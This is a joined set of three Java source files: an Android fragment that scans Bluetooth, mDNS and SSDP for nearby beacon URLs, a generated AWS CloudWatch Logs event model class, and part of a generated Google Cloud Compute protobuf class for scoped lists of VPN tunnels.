@Override
public void onUrlMetadataReceived(String url, PwsClient.UrlMetadata urlMetadata,
long tripMillis) {
mUrlToUrlMetadata.put(url, urlMetadata);
mNearbyDeviceAdapter.notifyDataSetChanged();
mUrlToPwsTripTime.put(url, tripMillis);
}
@Override
public void onUrlMetadataIconReceived() {
mNearbyDeviceAdapter.notifyDataSetChanged();
}
private class DemoResolveScanCallback implements PwsClient.ResolveScanCallback {
@Override
public void onUrlMetadataReceived(String url, PwsClient.UrlMetadata urlMetadata,
long tripMillis) {
// Update the hash table
mUrlToUrlMetadata.put(url, urlMetadata);
mUrlToPwsTripTime.put(url, tripMillis);
// Fabricate the adapter values so that we can show these demo beacons
String mockAddress = generateMockBluetoothAddress(url.hashCode());
int mockRssi = 0;
int mockTxPower = 0;
mNearbyDeviceAdapter.addItem(url, mockAddress, mockTxPower);
mNearbyDeviceAdapter.updateItem(url, mockAddress, mockRssi, mockTxPower);
// Inform the list adapter of the new data
mNearbyDeviceAdapter.sortUrls();
mNearbyDeviceAdapter.notifyDataSetChanged();
// Stop the refresh animation
mSwipeRefreshWidget.setRefreshing(false);
fadeInListView();
}
@Override
public void onUrlMetadataIconReceived() {
mNearbyDeviceAdapter.notifyDataSetChanged();
}
}
@SuppressWarnings("deprecation")
private void scanLeDevice(final boolean enable) {
if (mIsScanRunning != enable) {
mIsScanRunning = enable;
// If we should start scanning
if (enable) {
// Stops scanning after the predefined scan time has elapsed.
mHandler.postDelayed(mScanTimeout, SCAN_TIME_MILLIS);
// Clear any stored url data
mUrlToUrlMetadata.clear();
mNearbyDeviceAdapter.clear();
// Start the scan
mScanStartTimestamp = new Date().getTime();
mBluetoothAdapter.startLeScan(mLeScanCallback);
// If we should stop scanning
} else {
// Cancel the scan timeout callback if still active or else it may fire later.
mHandler.removeCallbacks(mScanTimeout);
// Stop the scan
mBluetoothAdapter.stopLeScan(mLeScanCallback);
mSwipeRefreshWidget.setRefreshing(false);
}
}
}
private boolean leScanMatches(ScanRecord scanRecord) {
if (mScanFilterUuids == null) {
return true;
}
List services = scanRecord.getServiceUuids();
if (services != null) {
for (Parcelable uuid : mScanFilterUuids) {
if (services.contains(uuid)) {
return true;
}
}
}
return false;
}
private void openUrlInBrowser(String url) {
// Ensure an http prefix exists in the url
if (!URLUtil.isNetworkUrl(url)) {
url = "http://" + url;
}
// Route through the proxy server go link
url = PwsClient.getInstance(getActivity()).createUrlProxyGoLink(url);
// Open the browser and point it to the given url
Intent intent = new Intent(Intent.ACTION_VIEW);
intent.setData(Uri.parse(url));
startActivity(intent);
}
@Override
public void onRefresh() {
if (mIsScanRunning) {
return;
}
mSwipeRefreshWidget.setRefreshing(true);
if (!mIsDemoMode) {
mScanningAnimationDrawable.start();
scanLeDevice(true);
mMdnsUrlDiscoverer.startScanning();
mSsdpUrlDiscoverer.startScanning();
} else {
mNearbyDeviceAdapter.clear();
PwsClient.getInstance(getActivity()).findDemoUrlMetadata(new DemoResolveScanCallback(), TAG);
}
}
@Override
public void onMdnsUrlFound(String url) {
onLanUrlFound(url);
}
@Override
public void onSsdpUrlFound(String url) {
onLanUrlFound(url);
}
private void onLanUrlFound(String url){
if (!mUrlToUrlMetadata.containsKey(url)) {
mUrlToUrlMetadata.put(url, null);
// Fabricate the adapter values so that we can show these ersatz beacons
String mockAddress = generateMockBluetoothAddress(url.hashCode());
int mockRssi = 0;
int mockTxPower = 0;
// Fetch the metadata for the given url
PwsClient.getInstance(getActivity()).findUrlMetadata(url, mockTxPower, mockRssi,
NearbyBeaconsFragment.this, TAG);
// Update the ranging info
mNearbyDeviceAdapter.updateItem(url, mockAddress, mockRssi, mockTxPower);
// Force the device to be added to the listview (since it has no metadata)
mNearbyDeviceAdapter.addItem(url, mockAddress, mockTxPower);
}
}
/**
* Callback for LE scan results.
*/
private class LeScanCallback implements BluetoothAdapter.LeScanCallback {
@Override
public void onLeScan(final BluetoothDevice device, final int rssi, final byte[] scanBytes) {
if (leScanMatches(ScanRecord.parseFromBytes(scanBytes))) {
getActivity().runOnUiThread(new Runnable() {
@Override
public void run() {
UriBeacon uriBeacon = UriBeacon.parseFromBytes(scanBytes);
if (uriBeacon != null) {
String url = uriBeacon.getUriString();
if (url != null && !url.isEmpty()) {
int txPower = uriBeacon.getTxPowerLevel();
String address = device.getAddress();
// If we haven't yet seen this url
if (!mUrlToUrlMetadata.containsKey(url)) {
mUrlToScanTime.put(url, new Date().getTime() - mScanStartTimestamp);
mUrlToUrlMetadata.put(url, null);
mNearbyDeviceAdapter.addItem(url, address, txPower);
// Fetch the metadata for this url
PwsClient.getInstance(getActivity()).findUrlMetadata(
url, txPower, rssi, NearbyBeaconsFragment.this, TAG);
}
// Tell the adapter to update stored data for this url
mNearbyDeviceAdapter.updateItem(url, address, rssi, txPower);
}
}
}
});
}
}
}
private void fadeInListView() {
ObjectAnimator alphaAnimation = ObjectAnimator.ofFloat(getListView(), "alpha", 0, 1);
alphaAnimation.setDuration(400);
alphaAnimation.setInterpolator(new DecelerateInterpolator());
alphaAnimation.start();
}
// Adapter for holding beacons found through scanning.
private class NearbyBeaconsAdapter extends BaseAdapter {
public final RegionResolver mRegionResolver;
private final HashMap<String, String> mUrlToDeviceAddress;
private List<String> mSortedUrls;
private final HashMap<String, Integer> mUrlToTxPower;
NearbyBeaconsAdapter() {
mUrlToDeviceAddress = new HashMap<>();
mUrlToTxPower = new HashMap<>();
mRegionResolver = new RegionResolver();
mSortedUrls = new ArrayList<>();
}
public void updateItem(String url, String address, int rssi, int txPower) {
mRegionResolver.onUpdate(address, rssi, txPower);
}
public void addItem(String url, String address, int txPower) {
mUrlToDeviceAddress.put(url, address);
mUrlToTxPower.put(url, txPower);
}
@Override
public int getCount() {
return mSortedUrls.size();
}
@Override
public String getItem(int i) {
return mSortedUrls.get(i);
}
@Override
public long getItemId(int i) {
return i;
}
@SuppressLint("InflateParams")
@Override
public View getView(int i, View view, ViewGroup viewGroup) {
// Get the list view item for the given position
if (view == null) {
view = getActivity().getLayoutInflater().inflate(R.layout.list_item_nearby_beacon, viewGroup, false);
}
// Reference the list item views
TextView titleTextView = (TextView) view.findViewById(R.id.title);
TextView urlTextView = (TextView) view.findViewById(R.id.url);
TextView descriptionTextView = (TextView) view.findViewById(R.id.description);
ImageView iconImageView = (ImageView) view.findViewById(R.id.icon);
// Get the url for the given position
String url = getItem(i);
// Get the metadata for this url
PwsClient.UrlMetadata urlMetadata = mUrlToUrlMetadata.get(url);
// If the metadata exists
if (urlMetadata != null) {
// Set the title text
titleTextView.setText(urlMetadata.title);
// Set the url text
urlTextView.setText(urlMetadata.displayUrl);
// Set the description text
descriptionTextView.setText(urlMetadata.description);
// Set the favicon image
iconImageView.setImageBitmap(urlMetadata.icon);
}
// If metadata does not yet exist
else {
// Clear the children views content (in case this is a recycled list item view)
titleTextView.setText("");
iconImageView.setImageDrawable(null);
// Set the url text to be the beacon's advertised url
urlTextView.setText(url);
// Set the description text to show loading status
descriptionTextView.setText(R.string.metadata_loading);
}
// If we should show the ranging data
if (mDebugViewEnabled) {
updateDebugView(url, view);
view.findViewById(R.id.ranging_debug_container).setVisibility(View.VISIBLE);
view.findViewById(R.id.metadata_debug_container).setVisibility(View.VISIBLE);
PwsClient.getInstance(getActivity()).useDevEndpoint();
}
// Otherwise ensure it is not shown
else {
view.findViewById(R.id.ranging_debug_container).setVisibility(View.GONE);
view.findViewById(R.id.metadata_debug_container).setVisibility(View.GONE);
PwsClient.getInstance(getActivity()).useProdEndpoint();
}
return view;
}
private void updateDebugView(String url, View view) {
// Ranging debug line
String deviceAddress = mUrlToDeviceAddress.get(url);
int txPower = mUrlToTxPower.get(url);
String txPowerString = getString(R.string.ranging_debug_tx_power_prefix) + String.valueOf(txPower);
TextView txPowerView = (TextView) view.findViewById(R.id.ranging_debug_tx_power);
txPowerView.setText(txPowerString);
int rssi = mRegionResolver.getSmoothedRssi(deviceAddress);
String rssiString = getString(R.string.ranging_debug_rssi_prefix) + String.valueOf(rssi);
TextView rssiView = (TextView) view.findViewById(R.id.ranging_debug_rssi);
rssiView.setText(rssiString);
double distance = mRegionResolver.getDistance(deviceAddress);
String distanceString = getString(R.string.ranging_debug_distance_prefix)
+ new DecimalFormat("##.##").format(distance);
TextView distanceView = (TextView) view.findViewById(R.id.ranging_debug_distance);
distanceView.setText(distanceString);
int region = mRegionResolver.getRegion(deviceAddress);
String regionString = getString(R.string.ranging_debug_region_prefix) + RangingUtils.toString(region);
TextView regionView = (TextView) view.findViewById(R.id.ranging_debug_region);
regionView.setText(regionString);
// Metadata debug line
PwsClient.UrlMetadata metadata = mUrlToUrlMetadata.get(url);
float scanTime = mUrlToScanTime.get(url) / 1000.0f;
String scanTimeString = getString(R.string.metadata_debug_scan_time_prefix)
+ new DecimalFormat("##.##s").format(scanTime);
TextView scanTimeView = (TextView) view.findViewById(R.id.metadata_debug_scan_time);
scanTimeView.setText(scanTimeString);
TextView rankView = (TextView) view.findViewById(R.id.metadata_debug_rank);
TextView pwsTripTimeView = (TextView) view.findViewById(R.id.metadata_debug_pws_trip_time);
if (metadata != null) {
float rank = metadata.rank;
String rankString = getString(R.string.metadata_debug_rank_prefix)
+ new DecimalFormat("##.##").format(rank);
rankView.setText(rankString);
float pwsTripTime = mUrlToPwsTripTime.get(url) / 1000.0f;
String pwsTripTimeString = "" + getString(R.string.metadata_debug_pws_trip_time_prefix)
+ new DecimalFormat("##.##s").format(pwsTripTime);
pwsTripTimeView.setText(pwsTripTimeString);
} else {
rankView.setText("");
pwsTripTimeView.setText("");
}
}
public void sortUrls() {
Log.d(TAG, "Sorting urls");
mSortedUrls = new ArrayList<>(mUrlToDeviceAddress.keySet());
Collections.sort(mSortedUrls, new MetadataComparator(mUrlToUrlMetadata));
}
public void clear() {
mSortedUrls.clear();
mUrlToDeviceAddress.clear();
notifyDataSetChanged();
}
}
}
| |
/*
* Copyright 2017-2022 Amazon.com, Inc. or its affiliates. All Rights Reserved.
*
* Licensed under the Apache License, Version 2.0 (the "License"). You may not use this file except in compliance with
* the License. A copy of the License is located at
*
* http://aws.amazon.com/apache2.0
*
* or in the "license" file accompanying this file. This file is distributed on an "AS IS" BASIS, WITHOUT WARRANTIES OR
* CONDITIONS OF ANY KIND, either express or implied. See the License for the specific language governing permissions
* and limitations under the License.
*/
package com.amazonaws.services.logs.model;
import java.io.Serializable;
import javax.annotation.Generated;
import com.amazonaws.protocol.StructuredPojo;
import com.amazonaws.protocol.ProtocolMarshaller;
/**
* <p>
* Represents a log event.
* </p>
*
* @see <a href="http://docs.aws.amazon.com/goto/WebAPI/logs-2014-03-28/OutputLogEvent" target="_top">AWS API
* Documentation</a>
*/
@Generated("com.amazonaws:aws-java-sdk-code-generator")
public class OutputLogEvent implements Serializable, Cloneable, StructuredPojo {
/**
* <p>
* The time the event occurred, expressed as the number of milliseconds after Jan 1, 1970 00:00:00 UTC.
* </p>
*/
private Long timestamp;
/**
* <p>
* The data contained in the log event.
* </p>
*/
private String message;
/**
* <p>
* The time the event was ingested, expressed as the number of milliseconds after Jan 1, 1970 00:00:00 UTC.
* </p>
*/
private Long ingestionTime;
/**
* <p>
* The time the event occurred, expressed as the number of milliseconds after Jan 1, 1970 00:00:00 UTC.
* </p>
*
* @param timestamp
* The time the event occurred, expressed as the number of milliseconds after Jan 1, 1970 00:00:00 UTC.
*/
public void setTimestamp(Long timestamp) {
this.timestamp = timestamp;
}
/**
* <p>
* The time the event occurred, expressed as the number of milliseconds after Jan 1, 1970 00:00:00 UTC.
* </p>
*
* @return The time the event occurred, expressed as the number of milliseconds after Jan 1, 1970 00:00:00 UTC.
*/
public Long getTimestamp() {
return this.timestamp;
}
/**
* <p>
* The time the event occurred, expressed as the number of milliseconds after Jan 1, 1970 00:00:00 UTC.
* </p>
*
* @param timestamp
* The time the event occurred, expressed as the number of milliseconds after Jan 1, 1970 00:00:00 UTC.
* @return Returns a reference to this object so that method calls can be chained together.
*/
public OutputLogEvent withTimestamp(Long timestamp) {
setTimestamp(timestamp);
return this;
}
/**
* <p>
* The data contained in the log event.
* </p>
*
* @param message
* The data contained in the log event.
*/
public void setMessage(String message) {
this.message = message;
}
/**
* <p>
* The data contained in the log event.
* </p>
*
* @return The data contained in the log event.
*/
public String getMessage() {
return this.message;
}
/**
* <p>
* The data contained in the log event.
* </p>
*
* @param message
* The data contained in the log event.
* @return Returns a reference to this object so that method calls can be chained together.
*/
public OutputLogEvent withMessage(String message) {
setMessage(message);
return this;
}
/**
* <p>
* The time the event was ingested, expressed as the number of milliseconds after Jan 1, 1970 00:00:00 UTC.
* </p>
*
* @param ingestionTime
* The time the event was ingested, expressed as the number of milliseconds after Jan 1, 1970 00:00:00 UTC.
*/
public void setIngestionTime(Long ingestionTime) {
this.ingestionTime = ingestionTime;
}
/**
* <p>
* The time the event was ingested, expressed as the number of milliseconds after Jan 1, 1970 00:00:00 UTC.
* </p>
*
* @return The time the event was ingested, expressed as the number of milliseconds after Jan 1, 1970 00:00:00 UTC.
*/
public Long getIngestionTime() {
return this.ingestionTime;
}
/**
* <p>
* The time the event was ingested, expressed as the number of milliseconds after Jan 1, 1970 00:00:00 UTC.
* </p>
*
* @param ingestionTime
* The time the event was ingested, expressed as the number of milliseconds after Jan 1, 1970 00:00:00 UTC.
* @return Returns a reference to this object so that method calls can be chained together.
*/
public OutputLogEvent withIngestionTime(Long ingestionTime) {
setIngestionTime(ingestionTime);
return this;
}
/**
* Returns a string representation of this object. This is useful for testing and debugging. Sensitive data will be
* redacted from this string using a placeholder value.
*
* @return A string representation of this object.
*
* @see java.lang.Object#toString()
*/
@Override
public String toString() {
StringBuilder sb = new StringBuilder();
sb.append("{");
if (getTimestamp() != null)
sb.append("Timestamp: ").append(getTimestamp()).append(",");
if (getMessage() != null)
sb.append("Message: ").append(getMessage()).append(",");
if (getIngestionTime() != null)
sb.append("IngestionTime: ").append(getIngestionTime());
sb.append("}");
return sb.toString();
}
@Override
public boolean equals(Object obj) {
if (this == obj)
return true;
if (obj == null)
return false;
if (obj instanceof OutputLogEvent == false)
return false;
OutputLogEvent other = (OutputLogEvent) obj;
if (other.getTimestamp() == null ^ this.getTimestamp() == null)
return false;
if (other.getTimestamp() != null && other.getTimestamp().equals(this.getTimestamp()) == false)
return false;
if (other.getMessage() == null ^ this.getMessage() == null)
return false;
if (other.getMessage() != null && other.getMessage().equals(this.getMessage()) == false)
return false;
if (other.getIngestionTime() == null ^ this.getIngestionTime() == null)
return false;
if (other.getIngestionTime() != null && other.getIngestionTime().equals(this.getIngestionTime()) == false)
return false;
return true;
}
@Override
public int hashCode() {
final int prime = 31;
int hashCode = 1;
hashCode = prime * hashCode + ((getTimestamp() == null) ? 0 : getTimestamp().hashCode());
hashCode = prime * hashCode + ((getMessage() == null) ? 0 : getMessage().hashCode());
hashCode = prime * hashCode + ((getIngestionTime() == null) ? 0 : getIngestionTime().hashCode());
return hashCode;
}
@Override
public OutputLogEvent clone() {
try {
return (OutputLogEvent) super.clone();
} catch (CloneNotSupportedException e) {
throw new IllegalStateException("Got a CloneNotSupportedException from Object.clone() " + "even though we're Cloneable!", e);
}
}
@com.amazonaws.annotation.SdkInternalApi
@Override
public void marshall(ProtocolMarshaller protocolMarshaller) {
com.amazonaws.services.logs.model.transform.OutputLogEventMarshaller.getInstance().marshall(this, protocolMarshaller);
}
}
| |
/*
* Copyright 2020 Google LLC
*
* Licensed under the Apache License, Version 2.0 (the "License");
* you may not use this file except in compliance with the License.
* You may obtain a copy of the License at
*
* https://www.apache.org/licenses/LICENSE-2.0
*
* Unless required by applicable law or agreed to in writing, software
* distributed under the License is distributed on an "AS IS" BASIS,
* WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
* See the License for the specific language governing permissions and
* limitations under the License.
*/
// Generated by the protocol buffer compiler. DO NOT EDIT!
// source: google/cloud/compute/v1/compute.proto
package com.google.cloud.compute.v1;
/**
*
*
* <pre>
* </pre>
*
* Protobuf type {@code google.cloud.compute.v1.VpnTunnelsScopedList}
*/
public final class VpnTunnelsScopedList extends com.google.protobuf.GeneratedMessageV3
implements
// @@protoc_insertion_point(message_implements:google.cloud.compute.v1.VpnTunnelsScopedList)
VpnTunnelsScopedListOrBuilder {
private static final long serialVersionUID = 0L;
// Use VpnTunnelsScopedList.newBuilder() to construct.
private VpnTunnelsScopedList(com.google.protobuf.GeneratedMessageV3.Builder<?> builder) {
super(builder);
}
private VpnTunnelsScopedList() {
vpnTunnels_ = java.util.Collections.emptyList();
}
@java.lang.Override
@SuppressWarnings({"unused"})
protected java.lang.Object newInstance(UnusedPrivateParameter unused) {
return new VpnTunnelsScopedList();
}
@java.lang.Override
public final com.google.protobuf.UnknownFieldSet getUnknownFields() {
return this.unknownFields;
}
private VpnTunnelsScopedList(
com.google.protobuf.CodedInputStream input,
com.google.protobuf.ExtensionRegistryLite extensionRegistry)
throws com.google.protobuf.InvalidProtocolBufferException {
this();
if (extensionRegistry == null) {
throw new java.lang.NullPointerException();
}
int mutable_bitField0_ = 0;
com.google.protobuf.UnknownFieldSet.Builder unknownFields =
com.google.protobuf.UnknownFieldSet.newBuilder();
try {
boolean done = false;
while (!done) {
int tag = input.readTag();
switch (tag) {
case 0:
done = true;
break;
case 405634274:
{
com.google.cloud.compute.v1.Warning.Builder subBuilder = null;
if (((bitField0_ & 0x00000001) != 0)) {
subBuilder = warning_.toBuilder();
}
warning_ =
input.readMessage(
com.google.cloud.compute.v1.Warning.parser(), extensionRegistry);
if (subBuilder != null) {
subBuilder.mergeFrom(warning_);
warning_ = subBuilder.buildPartial();
}
bitField0_ |= 0x00000001;
break;
}
case 1307952642:
{
if (!((mutable_bitField0_ & 0x00000001) != 0)) {
vpnTunnels_ = new java.util.ArrayList<com.google.cloud.compute.v1.VpnTunnel>();
mutable_bitField0_ |= 0x00000001;
}
vpnTunnels_.add(
input.readMessage(
com.google.cloud.compute.v1.VpnTunnel.parser(), extensionRegistry));
break;
}
default:
{
if (!parseUnknownField(input, unknownFields, extensionRegistry, tag)) {
done = true;
}
break;
}
}
}
} catch (com.google.protobuf.InvalidProtocolBufferException e) {
throw e.setUnfinishedMessage(this);
} catch (java.io.IOException e) {
throw new com.google.protobuf.InvalidProtocolBufferException(e).setUnfinishedMessage(this);
} finally {
if (((mutable_bitField0_ & 0x00000001) != 0)) {
vpnTunnels_ = java.util.Collections.unmodifiableList(vpnTunnels_);
}
this.unknownFields = unknownFields.build();
makeExtensionsImmutable();
}
}
public static final com.google.protobuf.Descriptors.Descriptor getDescriptor() {
return com.google.cloud.compute.v1.Compute
.internal_static_google_cloud_compute_v1_VpnTunnelsScopedList_descriptor;
}
@java.lang.Override
protected com.google.protobuf.GeneratedMessageV3.FieldAccessorTable
internalGetFieldAccessorTable() {
return com.google.cloud.compute.v1.Compute
.internal_static_google_cloud_compute_v1_VpnTunnelsScopedList_fieldAccessorTable
.ensureFieldAccessorsInitialized(
com.google.cloud.compute.v1.VpnTunnelsScopedList.class,
com.google.cloud.compute.v1.VpnTunnelsScopedList.Builder.class);
}
private int bitField0_;
public static final int VPN_TUNNELS_FIELD_NUMBER = 163494080;
private java.util.List<com.google.cloud.compute.v1.VpnTunnel> vpnTunnels_;
/**
*
*
* <pre>
* A list of VPN tunnels contained in this scope.
* </pre>
*
* <code>repeated .google.cloud.compute.v1.VpnTunnel vpn_tunnels = 163494080;</code>
*/
@java.lang.Override
public java.util.List<com.google.cloud.compute.v1.VpnTunnel> getVpnTunnelsList() {
return vpnTunnels_;
}
/**
*
*
* <pre>
* A list of VPN tunnels contained in this scope.
* </pre>
*
* <code>repeated .google.cloud.compute.v1.VpnTunnel vpn_tunnels = 163494080;</code>
*/
@java.lang.Override
public java.util.List<? extends com.google.cloud.compute.v1.VpnTunnelOrBuilder>
getVpnTunnelsOrBuilderList() {
return vpnTunnels_;
}
/**
*
*
* <pre>
* A list of VPN tunnels contained in this scope.
* </pre>
*
* <code>repeated .google.cloud.compute.v1.VpnTunnel vpn_tunnels = 163494080;</code>
*/
@java.lang.Override
public int getVpnTunnelsCount() {
return vpnTunnels_.size();
}
/**
*
*
* <pre>
* A list of VPN tunnels contained in this scope.
* </pre>
*
* <code>repeated .google.cloud.compute.v1.VpnTunnel vpn_tunnels = 163494080;</code>
*/
@java.lang.Override
public com.google.cloud.compute.v1.VpnTunnel getVpnTunnels(int index) {
return vpnTunnels_.get(index);
}
/**
*
*
* <pre>
* A list of VPN tunnels contained in this scope.
* </pre>
*
* <code>repeated .google.cloud.compute.v1.VpnTunnel vpn_tunnels = 163494080;</code>
*/
@java.lang.Override
public com.google.cloud.compute.v1.VpnTunnelOrBuilder getVpnTunnelsOrBuilder(int index) {
return vpnTunnels_.get(index);
}
public static final int WARNING_FIELD_NUMBER = 50704284;
private com.google.cloud.compute.v1.Warning warning_;
/**
*
*
* <pre>
* Informational warning which replaces the list of addresses when the list is empty.
* </pre>
*
* <code>optional .google.cloud.compute.v1.Warning warning = 50704284;</code>
*
* @return Whether the warning field is set.
*/
@java.lang.Override
public boolean hasWarning() {
return ((bitField0_ & 0x00000001) != 0);
}
/**
*
*
* <pre>
* Informational warning which replaces the list of addresses when the list is empty.
* </pre>
*
* <code>optional .google.cloud.compute.v1.Warning warning = 50704284;</code>
*
* @return The warning.
*/
@java.lang.Override
public com.google.cloud.compute.v1.Warning getWarning() {
return warning_ == null ? com.google.cloud.compute.v1.Warning.getDefaultInstance() : warning_;
}
/**
*
*
* <pre>
* Informational warning which replaces the list of addresses when the list is empty.
* </pre>
*
* <code>optional .google.cloud.compute.v1.Warning warning = 50704284;</code>
*/
@java.lang.Override
public com.google.cloud.compute.v1.WarningOrBuilder getWarningOrBuilder() {
return warning_ == null ? com.google.cloud.compute.v1.Warning.getDefaultInstance() : warning_;
}
private byte memoizedIsInitialized = -1;
@java.lang.Override
public final boolean isInitialized() {
byte isInitialized = memoizedIsInitialized;
if (isInitialized == 1) return true;
if (isInitialized == 0) return false;
memoizedIsInitialized = 1;
return true;
}
@java.lang.Override
public void writeTo(com.google.protobuf.CodedOutputStream output) throws java.io.IOException {
if (((bitField0_ & 0x00000001) != 0)) {
output.writeMessage(50704284, getWarning());
}
for (int i = 0; i < vpnTunnels_.size(); i++) {
output.writeMessage(163494080, vpnTunnels_.get(i));
}
unknownFields.writeTo(output);
}
@java.lang.Override
public int getSerializedSize() {
int size = memoizedSize;
if (size != -1) return size;
size = 0;
if (((bitField0_ & 0x00000001) != 0)) {
size += com.google.protobuf.CodedOutputStream.computeMessageSize(50704284, getWarning());
}
for (int i = 0; i < vpnTunnels_.size(); i++) {
size +=
com.google.protobuf.CodedOutputStream.computeMessageSize(163494080, vpnTunnels_.get(i));
}
size += unknownFields.getSerializedSize();
memoizedSize = size;
return size;
}
@java.lang.Override
public boolean equals(final java.lang.Object obj) {
if (obj == this) {
return true;
}
if (!(obj instanceof com.google.cloud.compute.v1.VpnTunnelsScopedList)) {
return super.equals(obj);
}
com.google.cloud.compute.v1.VpnTunnelsScopedList other =
(com.google.cloud.compute.v1.VpnTunnelsScopedList) obj;
if (!getVpnTunnelsList().equals(other.getVpnTunnelsList())) return false;
if (hasWarning() != other.hasWarning()) return false;
if (hasWarning()) {
if (!getWarning().equals(other.getWarning())) return false;
}
if (!unknownFields.equals(other.unknownFields)) return false;
return true;
}
@java.lang.Override
public int hashCode() {
if (memoizedHashCode != 0) {
return memoizedHashCode;
}
int hash = 41;
hash = (19 * hash) + getDescriptor().hashCode();
if (getVpnTunnelsCount() > 0) {
hash = (37 * hash) + VPN_TUNNELS_FIELD_NUMBER;
hash = (53 * hash) + getVpnTunnelsList().hashCode();
}
if (hasWarning()) {
hash = (37 * hash) + WARNING_FIELD_NUMBER;
hash = (53 * hash) + getWarning().hashCode();
}
hash = (29 * hash) + unknownFields.hashCode();
memoizedHashCode = hash;
return hash;
}
public static com.google.cloud.compute.v1.VpnTunnelsScopedList parseFrom(java.nio.ByteBuffer data)
throws com.google.protobuf.InvalidProtocolBufferException {
return PARSER.parseFrom(data);
}
public static com.google.cloud.compute.v1.VpnTunnelsScopedList parseFrom(
java.nio.ByteBuffer data, com.google.protobuf.ExtensionRegistryLite extensionRegistry)
throws com.google.protobuf.InvalidProtocolBufferException {
return PARSER.parseFrom(data, extensionRegistry);
}
public static com.google.cloud.compute.v1.VpnTunnelsScopedList parseFrom(
com.google.protobuf.ByteString data)
throws com.google.protobuf.InvalidProtocolBufferException {
return PARSER.parseFrom(data);
}
public static com.google.cloud.compute.v1.VpnTunnelsScopedList parseFrom(
com.google.protobuf.ByteString data,
com.google.protobuf.ExtensionRegistryLite extensionRegistry)
throws com.google.protobuf.InvalidProtocolBufferException {
return PARSER.parseFrom(data, extensionRegistry);
}
public static com.google.cloud.compute.v1.VpnTunnelsScopedList parseFrom(byte[] data)
throws com.google.protobuf.InvalidProtocolBufferException {
return PARSER.parseFrom(data);
}
public static com.google.cloud.compute.v1.VpnTunnelsScopedList parseFrom(
byte[] data, com.google.protobuf.ExtensionRegistryLite extensionRegistry)
throws com.google.protobuf.InvalidProtocolBufferException {
return PARSER.parseFrom(data, extensionRegistry);
}
public static com.google.cloud.compute.v1.VpnTunnelsScopedList parseFrom(
java.io.InputStream input) throws java.io.IOException {
return com.google.protobuf.GeneratedMessageV3.parseWithIOException(PARSER, input);
}
public static com.google.cloud.compute.v1.VpnTunnelsScopedList parseFrom(
java.io.InputStream input, com.google.protobuf.ExtensionRegistryLite extensionRegistry)
throws java.io.IOException {
return com.google.protobuf.GeneratedMessageV3.parseWithIOException(
PARSER, input, extensionRegistry);
}
public static com.google.cloud.compute.v1.VpnTunnelsScopedList parseDelimitedFrom(
java.io.InputStream input) throws java.io.IOException {
return com.google.protobuf.GeneratedMessageV3.parseDelimitedWithIOException(PARSER, input);
}
public static com.google.cloud.compute.v1.VpnTunnelsScopedList parseDelimitedFrom(
java.io.InputStream input, com.google.protobuf.ExtensionRegistryLite extensionRegistry)
throws java.io.IOException {
return com.google.protobuf.GeneratedMessageV3.parseDelimitedWithIOException(
PARSER, input, extensionRegistry);
}
public static com.google.cloud.compute.v1.VpnTunnelsScopedList parseFrom(
com.google.protobuf.CodedInputStream input) throws java.io.IOException {
return com.google.protobuf.GeneratedMessageV3.parseWithIOException(PARSER, input);
}
public static com.google.cloud.compute.v1.VpnTunnelsScopedList parseFrom(
com.google.protobuf.CodedInputStream input,
com.google.protobuf.ExtensionRegistryLite extensionRegistry)
throws java.io.IOException {
return com.google.protobuf.GeneratedMessageV3.parseWithIOException(
PARSER, input, extensionRegistry);
}
@java.lang.Override
public Builder newBuilderForType() {
return newBuilder();
}
public static Builder newBuilder() {
return DEFAULT_INSTANCE.toBuilder();
}
public static Builder newBuilder(com.google.cloud.compute.v1.VpnTunnelsScopedList prototype) {
return DEFAULT_INSTANCE.toBuilder().mergeFrom(prototype);
}
@java.lang.Override
public Builder toBuilder() {
return this == DEFAULT_INSTANCE ? new Builder() : new Builder().mergeFrom(this);
}
@java.lang.Override
protected Builder newBuilderForType(com.google.protobuf.GeneratedMessageV3.BuilderParent parent) {
Builder builder = new Builder(parent);
return builder;
}
/**
*
*
* <pre>
* </pre>
*
* Protobuf type {@code google.cloud.compute.v1.VpnTunnelsScopedList}
*/
public static final class Builder extends com.google.protobuf.GeneratedMessageV3.Builder<Builder>
implements
// @@protoc_insertion_point(builder_implements:google.cloud.compute.v1.VpnTunnelsScopedList)
com.google.cloud.compute.v1.VpnTunnelsScopedListOrBuilder {
public static final com.google.protobuf.Descriptors.Descriptor getDescriptor() {
return com.google.cloud.compute.v1.Compute
.internal_static_google_cloud_compute_v1_VpnTunnelsScopedList_descriptor;
}
@java.lang.Override
protected com.google.protobuf.GeneratedMessageV3.FieldAccessorTable
internalGetFieldAccessorTable() {
return com.google.cloud.compute.v1.Compute
.internal_static_google_cloud_compute_v1_VpnTunnelsScopedList_fieldAccessorTable
.ensureFieldAccessorsInitialized(
com.google.cloud.compute.v1.VpnTunnelsScopedList.class,
com.google.cloud.compute.v1.VpnTunnelsScopedList.Builder.class);
}
// Construct using com.google.cloud.compute.v1.VpnTunnelsScopedList.newBuilder()
private Builder() {
maybeForceBuilderInitialization();
}
private Builder(com.google.protobuf.GeneratedMessageV3.BuilderParent parent) {
super(parent);
maybeForceBuilderInitialization();
}
private void maybeForceBuilderInitialization() {
if (com.google.protobuf.GeneratedMessageV3.alwaysUseFieldBuilders) {
getVpnTunnelsFieldBuilder();
getWarningFieldBuilder();
}
}
@java.lang.Override
public Builder clear() {
super.clear();
if (vpnTunnelsBuilder_ == null) {
vpnTunnels_ = java.util.Collections.emptyList();
bitField0_ = (bitField0_ & ~0x00000001);
} else {
vpnTunnelsBuilder_.clear();
}
if (warningBuilder_ == null) {
warning_ = null;
} else {
warningBuilder_.clear();
}
bitField0_ = (bitField0_ & ~0x00000002);
return this;
}
@java.lang.Override
public com.google.protobuf.Descriptors.Descriptor getDescriptorForType() {
return com.google.cloud.compute.v1.Compute
.internal_static_google_cloud_compute_v1_VpnTunnelsScopedList_descriptor;
}
@java.lang.Override
public com.google.cloud.compute.v1.VpnTunnelsScopedList getDefaultInstanceForType() {
return com.google.cloud.compute.v1.VpnTunnelsScopedList.getDefaultInstance();
}
@java.lang.Override
public com.google.cloud.compute.v1.VpnTunnelsScopedList build() {
com.google.cloud.compute.v1.VpnTunnelsScopedList result = buildPartial();
if (!result.isInitialized()) {
throw newUninitializedMessageException(result);
}
return result;
}
@java.lang.Override
public com.google.cloud.compute.v1.VpnTunnelsScopedList buildPartial() {
com.google.cloud.compute.v1.VpnTunnelsScopedList result =
new com.google.cloud.compute.v1.VpnTunnelsScopedList(this);
int from_bitField0_ = bitField0_;
int to_bitField0_ = 0;
